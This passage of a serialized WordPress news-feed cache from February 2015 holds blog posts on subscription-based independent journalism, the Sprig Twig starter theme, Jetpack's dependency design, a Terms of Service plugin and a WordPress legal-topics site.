has a very similar model to The Dish (and my own), where he makes money from subscribers who get extra members-only content.</p>\n<p>I have followed Ben&#8217;s work closely. I was quite keen to see how his model would work for him, and it has. Nevertheless, I almost fully agree with Ben&#8217;s take on what Sullivan&#8217;s model and departure mean:</p>\n<blockquote><p>It turns out, though, that there are more business models than simply advertising, as Sullivan himself sought to show. Sullivan was, for the last two years, supported by reader subscriptions to the tune of <a href=\"https://gigaom.com/2014/10/10/andrew-sullivans-daily-dish-sees-new-signups-fall-but-revenue-holding-steady-at-about-1m/\">nearly one million dollars a year</a>, and while many were skeptical of Sullivan’s efforts when he started, his ability to raise money shouldn’t have been a surprise: his is a singular voice – to put it in economic terms, Sullivan’s writing had a low <a href=\"http://en.wikipedia.org/wiki/Elasticity_of_substitution\">elasticity of substitution</a> – so people were happy to pay for something they couldn’t get anywhere else.</p></blockquote>\n<p>Elasticity of substitution may be my new favorite phrase. And in that concept, I think we find the important key to viability. What are we valuing in websites? For me, it&#8217;s individual voices.</p>\n<p>A bit more from Ben&#8217;s post:</p>\n<blockquote><p>But Sullivan did have a viable business, and it scaled wonderfully: it cost him the same amount of both time and money to serve 1,000 subscribers as it would have to serve 100,000, or 1 million, and he didn’t need to change a thing about himself or his content to do it. No, it’s not scale that is the problem, but rather <em>reach.</em></p>\n<p>I am, of course, acutely aware that there is a tradeoff when it comes to the subscription business model: by making something scarce, and worth paying for, you are by definition limiting your number of readers.<span> </span>Stratechery, though, serves a niche, and <a href=\"http://stratechery.com/2015/niches-problem-subscription-services/\">niches are best served</a> by making more from customers who really care than from milking pennies from everyone.</p></blockquote>\n<p>For a writer, it is a difficult mind-shift to focus on subscribers after years of focusing on reach. But I do think a subscriber model, or more likely a hybrid subscriber model, is perhaps one of the most viable routes for sustainable journalism that we have today.</p>\n<h3>New blogging mediums</h3>\n<p>Of additional interest to all of these &#8220;blogging is dead&#8221; posts, is how the writers define blogs and the mediums for them.</p>\n<p>Ben really narrows the definition of a blog.</p>\n<blockquote><p>A big problem with this entire discussion is that there really isn’t a widely agreed-upon definition of what a blog is, thanks in part to the rise of sites like TechCrunch that ran on WordPress and presented posts in reverse-chronological order and so, at least in the beginning, were called “blogs”; add to that the thinly-disguised PR-channels known as “company blogs” and it’s easy to get confused.</p>\n<p>And so, to be clear, when I speak of the “blog” I am referring to a regularly-updated site that is owned-and-operated by an individual (there is, of course, the “group blog,” but it too has a clearly-defined set of authors). And there, in that definition, is the reason why, despite the great unbundling, the blog has not and will not die: is is the only communications tool, in contrast to every other social service, that is <em>owned</em> by the author; to say someone follows a blog is to say someone follows a <em>person.</em></p></blockquote>\n<p>This is probably the single argument I (partially) disagree with. I actually believe that a blog is just that: <em>a web log</em>. I think it&#8217;s perfectly fine to consider Twitter, Facebook, &amp; Instagram new mediums for blogging &#8212; at least in the sense of the traditional <em>web log</em> definition. They are just for a different form of blogging: short form, temporary, and a viable replacement for the &#8220;10 to 15&#8243; daily update style of posts many old school bloggers previously put on their primary &#8220;blogs&#8221;.</p>\n<p>Other than someone abusing these mediums &#8212; for instance, Marc Andreessen&#8217;s tweet-storms &#8212; our WordPress (or other software) blogs are still where our more permanent thoughts go. And fortunately, as Ben notes, we have these short-form mediums as free marketing channels for our actual blogs and more serious thoughts.</p>\n<p>Ben also hesitates to consider multi-author sites as blogs. I disagree here as well. Perhaps publications aren&#8217;t blogs as a whole, but within TechCrunch or The New York Times, individuals rise up with their own unique voices, and those singular feeds are, in my opinion, blogs of their own &#8212; whether or not they are fully siloed within the publication. I can follow an author on Twitter and essentially get their blog feed through their Twitter links, even if the site itself doesn&#8217;t differentiate their posts from anyone else&#8217;s.</p>\n<p>So Ben has helped me establish a new mental constraint for defining a blog: <strong>a blog is a highly individual thing</strong>. I have never truly considered this before, but it makes sense. I&#8217;ve always been most attracted to publications where the voice behind the writing is strong &#8212; where I know who is writing a post whether I see the byline or not.</p>\n<h3>Publishing containers</h3>\n<p>The New York Times, TechCrunch, Politico and BuzzFeed: these are containers. They may have some over-arching styles that most of their writers follow, but we still get to know individuals in these publications. I know David Carr&#8217;s voice at The New York Times; I know Alexia Tsotsis&#8217; voice at TechCrunch; I know Mike Allen&#8217;s voice at Politico; and I know Ben Smith&#8217;s voice at BuzzFeed.</p>\n<p>One thing we&#8217;ve seen happen in a wake of <em>new journalism</em> is that a voice gets too big for the container, and the voice splits. Nate Silver left The New York Times. Ezra Klein left The Washington Post. Interestingly, I think both of these guys lost their voices a bit when they created their own containers.</p>\n<p>Andrew Sullivan is a great example of a big voice within publishing containers. Before he went independent, he was a huge voice at The Atlantic and The Daily Beast. He was apparently responsible for <a href=\"http://www.forbes.com/sites/jeffbercovici/2011/05/03/losing-andrew-sullivan-didnt-hurt-the-atlantics-traffic/\">up to a quarter</a> of all traffic to The Atlantic before he left.</p>\n<p>For a publisher, this should be both exhilarating and terrifying. The voice within your publication (Sullivan) gets outstanding results, but you also run the risk of the voice leaving; if the voice is bigger than the container, that could be really really bad.</p>\n<h3>We need new tools for a new kind of publishing container</h3>\n<p>Journalists are leaving big publishing containers and going independent for a variety of reasons, but I believe one is pretty clear: money.</p>\n<p>A niche publisher like Ben Thompson can make well into six-figures running his own publication. Ben is a talented and knowledgeable writer, but I don&#8217;t think it would be easy for him to make the kind of money he&#8217;s making at Stratechery if he were writing for a traditional publication.</p>\n<p>Ben cites the ease of use of tools like WordPress and Stripe as reasons to be optimistic that the independent subscription model can work:</p>\n<blockquote><p>While WordPress has long been an effective free option for managing the content-side of blogging, only recently are there useful tools for managing the business-side. First and foremost amongst these is Stripe which, for the first time makes managing subscription-payments simple and straight-forward. However, there are still holes, particularly when it comes to actually managing membership lists and communities</p></blockquote>\n<p>I agree that it&#8217;s easier than before, but I wouldn&#8217;t say it&#8217;s simple. I&#8217;ve spent a great deal of time to make Post Status work behind the scenes, and I don&#8217;t think it&#8217;s perfect by any means. Is it cheap compared to million dollar big-publisher platforms? Yes. Is it cheap for a solo-journalist? Not at all.</p>\n<p>I think there is a tremendous opportunity here: there is room to create new publishing containers (I&#8217;m not sure if this should be a tool or a network) that lower the technical barrier to entry but also enable independent, subscription-based journalism.</p>\n<p>Big media companies remove the need to manage the business and technical side for journalists. Meanwhile, those of us that are attempting our own thing are all reinventing the wheel a bit.</p>\n<p>Ben and I use some of the same tools &#8212; WordPress and Stripe &#8212; but what if there was a more structured container for those seeking independence and someone to help them take care of the non-content aspects? What if that same tool had its own network effect?</p>\n<h3>Who is in position to be a new kind of container?</h3>\n<p>What existing networks are in position to offer this kind of tool? WordPress.com is one. Medium is another.</p>\n<p>I envision a tool (publishing platform) where independent journalists can do a few things:</p>\n<ul>\n<li>Maintain their own audience (be a part of a network, but be their own voice and publication)</li>\n<li>Own their own brand (custom themes/styles, unique domain)</li>\n<li>Offer subscription options to readers without managing the tech</li>\n</ul>\n<p>If I were Ev Williams or Matt Mullenweg, I&#8217;d be working on a way to be the next container for great, <em>sustainable</em> journalism. And hosted networks have a unique advantage: they can offer discovery for new or lesser-known authors. Unless <a href=\"https://poststatus.com/notes/recommendation-engine-independent-wordpress-blogs/\">self-hosted options figure that part out</a>.</p>\n<p>As a publisher on the WordPress.org side of things, I don&#8217;t think the perfect tool exists yet either. Fortunately I&#8217;m able to build most of what I need. But Ben is right that managing membership lists  and communities with WordPress is still hard. Syncing the membership list and the email list (delivery mechanism) is hard too.</p>\n<p>While I don&#8217;t think the perfect self-hosted tools exist quite yet, I believe it&#8217;s just a matter of time. But even the best self-hosted tool will require that the journalist also manage the business elements; therefore I think there will always be room for a hosted tool.</p>\n<p>I think this could be an excellent business vertical for a publishing tool like <a href=\"http://wordpress.com\">WordPress.com</a> or <a href=\"http://medium.com\">Medium</a>.</p>\n<h3>New journalism</h3>\n<p>I&#8217;ve used the words <em>journalism</em> and <em>blogging</em> synonymously throughout this post. I don&#8217;t think all bloggers are journalists, but I do think all journalists are bloggers. Blogging isn&#8217;t dead. I think it&#8217;s just leaving adolescence.</p>\n<p>Journalists won&#8217;t need big media to back their efforts. They&#8217;ll be able to use a blend of mediums (Twitter, Instagram, Youtube, etc) to funnel traffic to their main &#8220;blog&#8221; &#8212; or primary domain &#8212; where they can actually make money by attracting loyal subscribers willing to pay for high-value content.</p>\n<p>The formula for making money will change. The key for successful independent journalism won&#8217;t be about being first, or dominating search, or pageview quotas. Too many in big media have ignored that <em>elasticity of substitution</em> measurement Ben highlights.</p>\n<p>Journalism is changing, and I agree with Ben Thompson that &#8220;The Daily Dish will in the long run be remembered not as the last of a dying breed but as the pioneer of a new, sustainable journalism.&#8221;</p>\n<p>Those journalists that can create what others cannot will have a formula for publishing success, and soon enough the tools will catch up to allow them to do what they do best: create great content.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 02 Feb 2015 22:21:23 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:15:\"Brian Krogsgard\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:41;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:83:\"WPTavern: Sprig: A WordPress Starter Theme that Features the Twig Templating Engine\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=37053\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:92:\"http://wptavern.com/sprig-a-wordpress-starter-theme-that-features-the-twig-templating-engine\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:4167:\"<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/sprig.png\" rel=\"prettyphoto[37053]\"><img src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/sprig.png?resize=857%2C390\" alt=\"sprig\" class=\"aligncenter size-full wp-image-38303\" /></a></p>\n<p>Those who are new to WordPress theming are often confused by the mixture of PHP and HTML markup in templates. It&#8217;s easy to accidentally break theme functionality when everything is placed in the same file.</p>\n<p>For that reason, there&#8217;s a strong contingency of developers who prefer to integrate the <a href=\"http://twig.sensiolabs.org/\" target=\"_blank\">Twig</a> PHP templating engine with WordPress, using a starter theme or via plugins like <a href=\"https://wordpress.org/plugins/twigpress/\" target=\"_blank\">TwigPress</a>, <a href=\"https://wordpress.org/plugins/timber-library/\" target=\"_blank\">Timber</a>, or the like. Fans of Twig appreciate its concise syntax and find that it makes templates more readable.</p>\n<p><a href=\"http://sprigwp.com/\" target=\"_blank\">Sprig</a> is a new Twig-based starter theme for WordPress created by developer <a href=\"http://zach-adams.com/\" target=\"_blank\">Zach Adams</a>. The theme incorporates the power and flexibility of Twig templating to speed up development and make WordPress templates easier to edit.</p>\n<p>Here&#8217;s an example of what the WordPress loop looks like in Sprig:</p>\n<pre class=\"brush: php; light: true; title: ; notranslate\">{% for post in posts() %}\n    {% include \'content/content-excerpt.twig\' %}\n{% endfor %}</pre>\n<p>For those who have never worked with a templating engine, the syntax may look rather unfamiliar, but the advantage is that it allows you to separate the necessities of getting/manipulating your data and rendering it out. Below is an example of the WordPress loop with arguments:</p>\n<pre class=\"brush: php; light: true; title: ; notranslate\">\n{% for post in posts({\n    \'post_type\':\'post\',\n    \'posts_per_page\':4\n}) %}\n    {% include \'content/content-excerpt.twig\' %}\n{% endfor %}</pre>\n<p>&nbsp;</p>\n<h5>Sprig Features</h5>\n<p>Sprig utilizes Bower for frontend package management. It comes pre-loaded with either <a href=\"https://github.com/zach-adams/sprig\" target=\"_blank\">Bootstrap</a> or <a href=\"https://github.com/zach-adams/sprig-foundation\" target=\"_blank\">Foundation</a> to get started. Sprig uses <a href=\"http://gulpjs.com/\" target=\"_blank\">Gulp</a> to automate tasks such as compiling, concatenating, and minifying CSS and Javascript.</p>\n<p>The theme was developed using the best parts of <a href=\"http://underscores.me/\" target=\"_blank\">Underscores</a>, <a href=\"http://roots.io/starter-theme/\" target=\"_blank\">Roots</a>, and <a href=\"https://wordpress.org/plugins/twigpress/\" target=\"_blank\">TwigPress</a>, which bring in a number of additional functions and scripts useful for theme development.</p>\n<h3>Does Twig Introduce a New Layer of Abstraction?</h3>\n<p>The main argument some theme developers have against using a templating engine like Twig is that it introduces a new layer of abstraction, as well as another thing to learn on top of WordPress&#8217; usual way of structuring template files. Some believe that the <a href=\"http://en.wikipedia.org/wiki/Separation_of_concerns\" target=\"_blank\">separation of concerns</a> prohibits a theme developer from gaining a true understanding of how WordPress works.</p>\n<p>Adams clearly states that the purpose of Sprig is to help theme developers spend less time wading through template markup code and instead focus their efforts on creating beautiful themes. The Twig templating engine may not be your cup of tea, but many developers find that it helps them produce cleaner template code that is easier to reuse.</p>\n<p>If <a href=\"http://sprigwp.com/\" target=\"_blank\">Sprig</a> helps get you from here to there faster, then it might be worth incorporating into your theme development workflow. Check out the full <a href=\"https://github.com/zach-adams/sprig\" target=\"_blank\">documentation on GitHub</a>. The project is still under active development and Adams recommends you test Sprig heavily before using it in production.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 02 Feb 2015 20:31:04 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:42;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:80:\"WPTavern: Part 1: George Stephanis on Why Jetpack is Not a Collection of Plugins\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38269\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:89:\"http://wptavern.com/part-1-george-stephanis-on-why-jetpack-is-not-a-collection-of-plugins\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:2836:\"<a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/JetpackPluginCollectionFeaturedImage.png\" rel=\"prettyphoto[38269]\"><img class=\"size-full wp-image-38279\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/JetpackPluginCollectionFeaturedImage.png?resize=638%2C200\" alt=\"Jetpack Plugin Collection Featured Image\" /></a>photo credit: <a href=\"https://www.flickr.com/photos/northbaywanderer/121971388/\">northbaywanderer</a> &#8211; <a href=\"http://creativecommons.org/licenses/by-sa/2.0/\">cc</a>\n<p>George Stephanis, who is a member of the Jetpack Pit Crew, published a post over the weekend that explains why <a title=\"http://stephanis.info/2015/01/31/why-jetpack-isnt-a-collection-of-plugins-part-the-first/\" href=\"http://stephanis.info/2015/01/31/why-jetpack-isnt-a-collection-of-plugins-part-the-first/\">Jetpack is not a collection of plugins</a>. According to Stephanis, dependency management in WordPress sucks. In a nutshell, a dependency is when a library, framework, component, theme, or plugin requires the existence of another to function. He gives a practical example of dependencies that highlights how quickly things could get messy.</p>\n<blockquote><p>Now, if <strong>Likes</strong>, <strong>Single Sign On</strong>, <strong>After the Deadline</strong>, <strong>Post by Email</strong> and others were their own plugins, and connected to a separate <strong>Jetpack Core</strong> plugin, versioning gets tricky.  It could work, in theory, if every plugin is kept up to date, always and forever.  But the instant that the user is using, say, an outdated version of <strong>Subscriptions</strong> with an outdated <strong>Jetpack Core</strong> (which work perfectly together), and then installs the up-to-date <strong>WP.me Shortlinks</strong> plugin, things could break because <strong>WP.me Shortlinks</strong> expects a more up-to-date <strong>Jetpack Core</strong>.</p>\n<p>So you go ahead and update <strong>Jetpack Core</strong> to current, but now <strong>Subscriptions</strong> — which used to work perfectly — now breaks because there was a method change in <strong>Jetpack Core</strong>, that is fixed in the up-to-date version of <strong>Subscriptions</strong>, but the user isn’t running the up-to-date version.  Horrible UX.</p></blockquote>\n<p>He goes on to describe the installation flow for a plugin that needs Jetpack Core to function. A plugin that depends on Jetpack Core adds at least four additional steps to the installation flow.</p>\n<p>It&#8217;s a good article that answers the technical side of a commonly asked question. It also gives insight to those who may be thinking of creating alternatives to Jetpack using a similar model. In part two of the series, Stephanis plans to write about the variety of other reasons Jetpack is not a collection of plugins.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 02 Feb 2015 17:46:14 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:43;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:83:\"WPTavern: How to Automatically Create Terms of Service and Privacy Policy Documents\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38257\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:93:\"http://wptavern.com/how-to-automatically-create-terms-of-service-and-privacy-policy-documents\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3716:\"<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/AutoTermsOfServicePluginFeaturedImage.png\" rel=\"prettyphoto[38257]\"><img class=\"aligncenter size-full wp-image-38262\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/AutoTermsOfServicePluginFeaturedImage.png?resize=838%2C272\" alt=\"Auto Terms of Service Plugin Featured Image\" /></a></p>\n<p>If you own or operate a business and need a Terms of Service, Privacy, or various other legal documents, check out the <a title=\"https://github.com/Automattic/legalmattic\" href=\"https://github.com/Automattic/legalmattic\">Legalmattic repository</a> on Github. In 2014, Automattic open sourced all of its legal documents, including <a title=\"http://wptavern.com/automattic-open-sources-its-dmca-process-docs-on-github\" href=\"http://wptavern.com/automattic-open-sources-its-dmca-process-docs-on-github\">its DMCA takedown notice</a>. If you choose an Automattic legal document as a foundation to write your own, consider using the <a title=\"https://wordpress.org/plugins/auto-terms-of-service-and-privacy-policy/\" href=\"https://wordpress.org/plugins/auto-terms-of-service-and-privacy-policy/\">Auto Terms of Service and Privacy Policy plugin. </a></p>\n<p>Created by <a title=\"http://tourkick.com/\" href=\"http://tourkick.com/\">Clifford Paulick</a>, this plugin places the information entered into a version of Automattic&#8217;s <a href=\"http://en.wordpress.com/tos/\" rel=\"nofollow\">Terms of Service</a> and <a href=\"http://automattic.com/privacy/\" rel=\"nofollow\">Privacy Policy</a>, both available under the <a href=\"http://creativecommons.org/licenses/by-sa/3.0/\" rel=\"nofollow\">Creative Commons Sharealike</a> license. The documents are modified to exclude specifics to Automattic, such as mentions of Jetpack, WordPress.com, and VIP. Each document has generic language that can apply to most sites and service providers, including single sites, subscription sites, blog networks, and others.</p>\n<a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/AutoTermsOfServicePluginSettings.png\" rel=\"prettyphoto[38257]\"><img class=\"size-full wp-image-38258\" src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/AutoTermsOfServicePluginSettings.png?resize=784%2C859\" alt=\"Add Your Company Info\" /></a>Add Your Company Info\n<p>Configuration is as simple as placing company information into the appropriate fields. Once entered, you&#8217;ll need to turn on the Display setting at the top to enable the three different shortcodes.</p>\n<ul>\n<li>[my_terms_of_service_and_privacy_policy]</li>\n<li>[my_terms_of_service]</li>\n<li>[my_privacy_policy]</li>\n</ul>\n<p>Here&#8217;s what the Tavern terms of service page looks like using the terms of service shortcode.</p>\n<a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/AutoTermsOfServicePluginResult.png\" rel=\"prettyphoto[38257]\"><img class=\"size-full wp-image-38259\" src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/AutoTermsOfServicePluginResult.png?resize=731%2C826\" alt=\"Tavern Terms of Use Page\" /></a>Tavern Terms of Use Page\n<p>The plugin works as advertised and is a convenient way to provide legal documents if you&#8217;re a service provider like Automattic. However, if you need to fine tune the results, you can either copy the output from the shortcode and paste it into the page or use the source document from the <a title=\"https://github.com/Automattic/legalmattic\" href=\"https://github.com/Automattic/legalmattic\">Legalmattic repository</a>. While Automattic&#8217;s documents give you a head start, it&#8217;s probably still a good idea to seek legal counsel to review and edit them so they&#8217;re specifically tailored to your business.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 02 Feb 2015 17:28:56 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:44;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:77:\"WPTavern: Richard Best Launches New Website Devoted to WordPress Legal Topics\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38247\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:87:\"http://wptavern.com/richard-best-launches-new-website-devoted-to-wordpress-legal-topics\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:2361:\"<a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/WPandLegalStuffFeaturedImage.png\" rel=\"prettyphoto[38247]\"><img class=\"size-full wp-image-38254\" src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/WPandLegalStuffFeaturedImage.png?resize=639%2C300\" alt=\"WP and Legal Stuff Featured Image\" /></a>photo credit: <a href=\"https://www.flickr.com/photos/c_nilsen/16359004332/\">c_nilsen</a> &#8211; <a href=\"http://creativecommons.org/licenses/by-nc-sa/2.0/\">cc</a>\n<p>Over the weekend, I stumbled across a new resource called <a title=\"http://wpandlegalstuff.com/\" href=\"http://wpandlegalstuff.com/\">WP and Legal Stuff </a>run by <a title=\"http://wpandlegalstuff.com/about/\" href=\"http://wpandlegalstuff.com/about/\">Richard Best</a>, a qualified lawyer in New Zealand, England, and Wales. The site focuses on legal matters related to WordPress and open source. Recent articles include:</p>\n<ul>\n<li><a title=\"http://wpandlegalstuff.com/using-wordpress-trademarks-business-product-service/\" href=\"http://wpandlegalstuff.com/using-wordpress-trademarks-business-product-service/\">Using the WordPress trademarks for your business, product or service</a></li>\n<li><a title=\"http://wpandlegalstuff.com/gpl-wpscan-vane/\" href=\"http://wpandlegalstuff.com/gpl-wpscan-vane/\">The GPL and the story of WPScan and Vane</a></li>\n<li><a title=\"http://wpandlegalstuff.com/automattic-open-licensing-open-data/\" href=\"http://wpandlegalstuff.com/automattic-open-licensing-open-data/\">Automattic, open licensing and open data</a></li>\n</ul>\n<p>His take on <a title=\"http://wpandlegalstuff.com/understanding-gpl-licensing-wordpress/\" href=\"http://wpandlegalstuff.com/understanding-gpl-licensing-wordpress/\">understanding the GPL licensing of WordPress</a> is a great primer for anyone not familiar with how it works. While Best does not give legal advice through the site, he provides an interesting perspective since most of the people who participate in WordPress legal discussions are not lawyers.</p>\n<p>WP and Legal Stuff is a unique site and one of the few to cover WordPress legal matters on a routine basis. I highly suggest you subscribe to <a title=\"http://wpandlegalstuff.com/feed/\" href=\"http://wpandlegalstuff.com/feed/\">his RSS feed</a> so you don&#8217;t miss his next post on WordPress themes, the GPL, and the conundrum of derivative works.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 02 Feb 2015 16:37:45 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:45;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:24:\"Matt: Tech is 